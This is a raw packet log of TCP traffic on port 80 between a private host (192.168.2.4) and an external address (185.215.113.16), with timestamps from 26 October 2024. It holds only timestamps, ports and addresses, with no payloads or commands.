Oct 26, 2024 05:54:24.615127087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.615135908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615190029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615231991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615237951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.615283012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615334988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615345955 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.615371943 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615420103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.615426064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615459919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615495920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615504026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.615699053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615751028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.615781069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615816116 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615849018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615860939 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.615927935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615961075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.615973949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.615997076 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.616044998 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.654473066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.654515982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.654551029 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.654578924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.654586077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.654642105 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.704557896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.704610109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.704648972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.704669952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.755346060 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.776063919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776130915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776279926 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776314974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776349068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776377916 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776388884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.776388884 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.776427984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776441097 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.776480913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776510000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776529074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.776544094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776577950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776587963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.776612043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776645899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776653051 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.776740074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776772022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776787043 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.776804924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.776851892 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.777075052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.777127981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.777163982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.777179003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.777241945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.777273893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.777286053 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.777307034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.777353048 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.815944910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.815994024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.816107988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.816287041 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.864717960 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.865377903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.865417957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.865472078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.865499973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.865565062 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.865597963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.937488079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.937530994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.937589884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.937604904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.937628984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.937658072 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.937671900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.937690973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.937726974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.937735081 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.951035023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951065063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951086044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951123953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951147079 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951164961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951180935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951215982 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951257944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.951308966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.951571941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951623917 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.951623917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951658964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951692104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.951705933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.951963902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.952016115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.952016115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.952049971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.952105045 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.977081060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.977123976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.977159023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.977195978 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:24.977211952 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:24.977255106 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.027230024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.027273893 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.027311087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.027376890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.027412891 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.027436018 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.098637104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.098671913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.098705053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.098731995 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.098737001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.098769903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.098835945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.098953962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.098987103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.098998070 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.099037886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.099086046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.099087954 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.099116087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.099183083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.099185944 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.099217892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.099246979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.099276066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.099282980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.099327087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.099344015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.099435091 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.099463940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.099487066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.100869894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.100922108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.100928068 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.100956917 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.100991011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.101018906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.101023912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.101072073 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.101108074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.101140976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.101186991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.138557911 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.138611078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.138649940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.138657093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.188123941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.188160896 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.188179016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.188268900 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.260205030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260236979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260270119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260303974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260307074 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.260337114 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260348082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.260370016 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260404110 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260416031 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.260474920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260524988 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260535955 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.260660887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260700941 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.260714054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260747910 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.260792971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.261002064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.261030912 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.261075020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.261090994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.261154890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.261189938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.261197090 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.261224985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.261269093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.261466026 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.261518002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.261548996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.261560917 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.261712074 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.261758089 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.299678087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.299868107 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.299896955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.299947023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.349244118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.349855900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.349900007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.349936008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.349951982 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.395982981 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.421961069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422032118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422069073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422102928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422137022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422163963 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.422173023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422210932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422240973 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.422243118 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422293901 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.422297001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422329903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422363043 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422378063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.422395945 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422430992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422441959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.422523975 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422574997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.422578096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422611952 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422648907 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422657013 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.422699928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422733068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422743082 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.422766924 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.422807932 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.460886955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.460999966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.461034060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.461072922 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.505358934 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.510706902 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.510759115 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.510812044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.510838032 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.510839939 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.510886908 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.583089113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583190918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583225012 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583262920 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.583273888 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583345890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583360910 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.583380938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583415985 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583456039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583478928 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.583488941 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583503962 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.583522081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583558083 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.583573103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.584002972 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.584043980 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.584083080 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.584152937 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.584188938 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.584197044 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.584223986 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.584261894 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.584474087 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.584526062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.584558964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.584564924 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.584589958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.584634066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.622081995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.622153997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.622209072 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.622292995 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.622339964 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.622385979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.674576044 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.674611092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.674645901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.674659014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.724081993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.744461060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.744493008 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.744545937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.744642973 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.744674921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.744709969 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.744726896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.744743109 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.744788885 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.744796991 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.744832039 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.744873047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.744926929 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745012045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745044947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745052099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.745079994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745115042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745124102 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.745507956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745543003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745552063 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.745578051 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745614052 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745624065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.745645046 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745680094 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745687008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.745712042 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.745757103 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.783706903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.783760071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.783798933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.783807039 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.833487988 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.833786011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.833888054 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.833925962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.833971024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.880381107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:25.906011105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:25.906133890 CEST	80	49742	185.215.113.16	192.168.2.4
